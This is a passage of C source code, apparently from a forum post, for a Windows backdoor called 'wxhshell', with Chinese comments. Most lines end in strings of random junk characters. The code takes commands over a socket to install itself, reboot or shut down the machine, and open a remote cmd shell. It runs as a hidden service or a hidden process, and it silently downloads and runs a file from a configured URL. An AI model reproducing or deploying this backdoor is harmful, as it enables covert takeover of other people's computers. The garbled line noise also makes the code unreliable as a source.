    switch(cmd[0]) { }6<5mq)%  
  G_ ,9h!e  
  // 帮助 6-0sBB9=u  
  case '?': { )9[u*|+  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )tnbl"0  
    break; 4y?n62N8$  
  } C/#pK2xY  
  // 安装 'Cz*p,  
  case 'i': { jD}h`(bE  
    if(Install()) ?6{g7S%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O`"~AY&  
    else +!E9$U>6%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]!@=2kG4  
    break; RA[%8Rh)  
    } 12m-$/5n+  
  // 卸载 Uzc p  
  case 'r': { %KkC1.yu<  
    if(Uninstall()) au/LoO#6Ro  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VJT /9O)Z|  
    else Y_n3O@,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {"%a-*@%  
    break; kh:_,g  
    } Lo#G. s|  
  // 显示 wxhshell 所在路径 c@"FV,L>  
  case 'p': { 4,Oa(b  
    char svExeFile[MAX_PATH]; <\O8D0.d  
    strcpy(svExeFile,"\n\r"); $eG_LY 1v  
      strcat(svExeFile,ExeFile); _X mxBtk9f  
        send(wsh,svExeFile,strlen(svExeFile),0); 6M_:D  
    break; _aF8Us  
    } D,[Nn_N  
  // 重启 ]'M B3@T  
  case 'b': { UcOP 0_/  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ZfH>UHft  
    if(Boot(REBOOT)) 8ih_S2Cd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D7JrGaF{  
    else { $u'"C|>8  
    closesocket(wsh); ;UM(y@  
    ExitThread(0); S50}]5K  
    } Z]oGE@! n"  
    break; mH0OW  
    } W=w]`'  
  // 关机 saQs<1  
  case 'd': { Q"nw.FjUG  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); YG8V\4 SQ  
    if(Boot(SHUTDOWN)) I`rN+c:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \Cj3jg  
    else { [fV"tf;  
    closesocket(wsh); M j6,VD9L  
    ExitThread(0); cs*E9  
    } yiI oqvP  
    break; 3S]Q IZ1  
    } fCF.P"{W"  
  // 获取shell $fT5Vc]B4  
  case 's': { AWx@Z7\z"g  
    CmdShell(wsh); O6)Po  
    closesocket(wsh); .m l\z5  
    ExitThread(0); KsE$^`  
    break; oe2*$\?.  
  } u_ l?d  
  // 退出 /.CS6W^z  
  case 'x': { %=9o'Y,4  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); X' 5R4j  
    CloseIt(wsh); @KU;' th  
    break; 1zH?.-  
    } 'N+;{8C-{  
  // 离开 W&R67ff|  
  case 'q': { @4 8!e-W  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); +$nNYD  
    closesocket(wsh); jOrfI-&.G  
    WSACleanup(); 5X+`aB  
    exit(1); }F!Uu KR  
    break; 2w8cJadT'p  
        } w43b=7  
  } 4:NMZ `~  
  } }u3|w0~c)  
Xb>SA|6[|  
  // 提示信息 H1B%}G*Ir-  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fuv{2[N V  
} d;0]xG?%=  
  } {}ADsh@7d'  
WQ[n K5#  
  return; '@hUmrl  
} =FV(m S  
tlUh8os  
// shell模块句柄 iz^uj  
int CmdShell(SOCKET sock) -V}xvSVg  
{ Kc2y  
STARTUPINFO si; gDLS)4^w  
ZeroMemory(&si,sizeof(si)); EJTM >Rpor  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; nb=mY&q}~  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4c 8{AZ  
PROCESS_INFORMATION ProcessInfo; l1'v`!  
char cmdline[]="cmd"; k)*apc\W  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =Q<7[  
  return 0; + c3pe4  
} ]bh%pn  
cl `Wl/Q#  
// 自身启动模式 >.`*KQdan  
int StartFromService(void) vr4r,[B6y  
{ E~fb#6  
typedef struct gggD "alDx  
{ 2XeyNX  
  DWORD ExitStatus; |e2s\?nB0S  
  DWORD PebBaseAddress; m!w|~ Rk  
  DWORD AffinityMask; YSt*uOZK  
  DWORD BasePriority; r|4D.O]  
  ULONG UniqueProcessId; 'q$Y m0nL  
  ULONG InheritedFromUniqueProcessId; .#SgU<Wq  
}   PROCESS_BASIC_INFORMATION; 1~K'r&  
B t}90#  
PROCNTQSIP NtQueryInformationProcess; jIe /X]  
~ E6e~  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; y.D+M$f  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; gs3(B/";c  
=KOi#;1  
  HANDLE             hProcess; hIV]ZYbH  
  PROCESS_BASIC_INFORMATION pbi; 6JZ>&HA  
E9j<+Ik  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); -_5Dk'R#`  
  if(NULL == hInst ) return 0; ZM-P  
:2S?|7U4  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); T%6JVFD  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "X2'k@s`  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); kOD=H-vSi  
8} :$=n4&  
  if (!NtQueryInformationProcess) return 0; Y0|){&PCt  
iY07lvG<  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Qw2-Vv4!"  
  if(!hProcess) return 0; ;BH.,{*@B  
.G\](%  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; w ods   
/KOI%x  
  CloseHandle(hProcess); t*H2;|zn_  
JZ-@za6u  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); I]W7FZ=o  
if(hProcess==NULL) return 0; *izCXfW7  
Xzg >/w 8J  
HMODULE hMod; vkhPE(f  
char procName[255]; Pa Q lQ#  
unsigned long cbNeeded; ?.< Qgd  
^SG>VfgC  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 0~RD@>]  
"%D"h  
  CloseHandle(hProcess); \&kj#)JYA  
M KW~rrR  
if(strstr(procName,"services")) return 1; // 以服务启动 2?q>yL!Gz  
gdTW ~b  
  return 0; // 注册表启动 ]R)wBug  
} ZwsQ}5  
`9[n5-t  
// 主模块 a5t&{ajJ  
int StartWxhshell(LPSTR lpCmdLine) 8j70X <R  
{ o"BED! /  
  SOCKET wsl; NO[A00m|OL  
BOOL val=TRUE; +&VY6(Zj+*  
  int port=0; m0ra  
  struct sockaddr_in door; }YdC[b$j^  
vA_,TS#Bo  
  if(wscfg.ws_autoins) Install(); mm +V*L{x  
5)XUT`;'){  
port=atoi(lpCmdLine); ,P}7e)3  
hGV_K"~I0  
if(port<=0) port=wscfg.ws_port; ^uUA41o`eJ  
}W:Z>vam+  
  WSADATA data; 8,IF%Z+LI  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; e16H @  
t{iRCj  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   tT)s,R%  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -~8PI2  
  door.sin_family = AF_INET; K% FK  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); &t8,326;  
  door.sin_port = htons(port); < r~hU*u  
=Mwuhk|*  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { q:)PfP+  
closesocket(wsl); KZ[TW,Gw  
return 1; |s/N ?/qi  
} Nkj$6(N=zJ  
U"8Hw@  
  if(listen(wsl,2) == INVALID_SOCKET) { 9Jh&C5\\  
closesocket(wsl); 0~BaQ, A @  
return 1; 7O*Sg2B  
} Cn 5"zDK$  
  Wxhshell(wsl); ;E 9o%f:o  
  WSACleanup(); 2c[HA  
:tO4LEb  
return 0; zuN(~>YH  
?:`sE"  
} ps2j]g  
bR"4:b>K  
// 以NT服务方式启动 Q?1.GuF  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) a_}C*+D  
{ \K\eq>@6  
DWORD   status = 0; R7(XDX=[ s  
  DWORD   specificError = 0xfffffff; &PV%=/ -J  
"$(D7yFO  
  serviceStatus.dwServiceType     = SERVICE_WIN32; tL;.vRx  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ;yN Y/  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |%5Aku0`s  
  serviceStatus.dwWin32ExitCode     = 0; ({Md({|  
  serviceStatus.dwServiceSpecificExitCode = 0; \jk* Nm8;  
  serviceStatus.dwCheckPoint       = 0; l2 n`fZL  
  serviceStatus.dwWaitHint       = 0; vS~tr sI  
t^MTR6y+8  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); AcnY6:3Y|  
  if (hServiceStatusHandle==0) return; YFu,<8"swe  
bi}aVtG~z  
status = GetLastError(); dF51_Kk  
  if (status!=NO_ERROR) W*S4gPGM  
{ 7P3/Ky@6  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; .yfp-n4H  
    serviceStatus.dwCheckPoint       = 0; $s}w23nB  
    serviceStatus.dwWaitHint       = 0; 3AdYZ7J  
    serviceStatus.dwWin32ExitCode     = status; "ADI .  
    serviceStatus.dwServiceSpecificExitCode = specificError;  YC 6guy>  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^ wZx=kas  
    return; TC<Rg?&yb  
  } 6c^?DLy9B  
e)?}2  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; +$L}B-F  
  serviceStatus.dwCheckPoint       = 0; $t& o(]m  
  serviceStatus.dwWaitHint       = 0; l:@=9Fp>  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 6;Z`9PGp  
} C;:=r:bth  
| X1axRO  
// 处理NT服务事件,比如:启动、停止 QlB9m2XB  
VOID WINAPI NTServiceHandler(DWORD fdwControl) )=gU~UV  
{ *ilVkV"U  
switch(fdwControl) q)?!]|pZ  
{ }[|9vF"g.y  
case SERVICE_CONTROL_STOP: [g}#R#Y)  
  serviceStatus.dwWin32ExitCode = 0; vde!k_,wZ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ^"I@ 8k  
  serviceStatus.dwCheckPoint   = 0; w+ ')wyB  
  serviceStatus.dwWaitHint     = 0; hC"'cUrcN  
  { bR~Xog  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); TDk[,4  
  } 8 0nu^ _  
  return; Zl9  
case SERVICE_CONTROL_PAUSE: d`V.i6u  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; MXl_{8  
  break; Q{S{|.w-  
case SERVICE_CONTROL_CONTINUE:  $L uU  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; xPm{'J+b~  
  break; }XUI1H]jk  
case SERVICE_CONTROL_INTERROGATE: e^@ZN9qQ  
  break; Bt")RG  
}; pe,y'w{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); & .1-6  
} S)ipkuj X  
CzreX3i  
// 标准应用程序主函数 "@VYJ7.1  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) pFMjfWD,C  
{ O{c#&/.K  
Z >R@  
// 获取操作系统版本 a.UYBRP/l  
OsIsNt=GetOsVer(); {7oPDP  
GetModuleFileName(NULL,ExeFile,MAX_PATH); o8:9Y js  
#w5%^ HwO  
  // 从命令行安装 tR9iFv_  
  if(strpbrk(lpCmdLine,"iI")) Install(); ?m 5"|f\  
KAE %Wwjr  
  // 下载执行文件 /0k'w%V{n  
if(wscfg.ws_downexe) { }sqFvab<  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /,~]1&?}1  
  WinExec(wscfg.ws_filenam,SW_HIDE); ,f)+|?wz  
} X6B,Mply  
Qh8pOUD0l}  
if(!OsIsNt) { p3-~cr.LD  
// 如果时win9x,隐藏进程并且设置为注册表启动 "h1ek*(?<  
HideProc(); %$b}o7U"s  
StartWxhshell(lpCmdLine); ;s$4/b/~  
} ]Q.S Is  
else 8MDivr/@  
  if(StartFromService()) on8$Kc  
  // 以服务方式启动 ,if~%'9j  
  StartServiceCtrlDispatcher(DispatchTable); F ]D^e{y  
else 73!NoDxb  
  // 普通方式启动 CTg79 ITYk  
  StartWxhshell(lpCmdLine); l{3zlXk3z  
n?6^j8i  
return 0; -0;{  
}
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只看该作者 1 发表于: 2006-10-10
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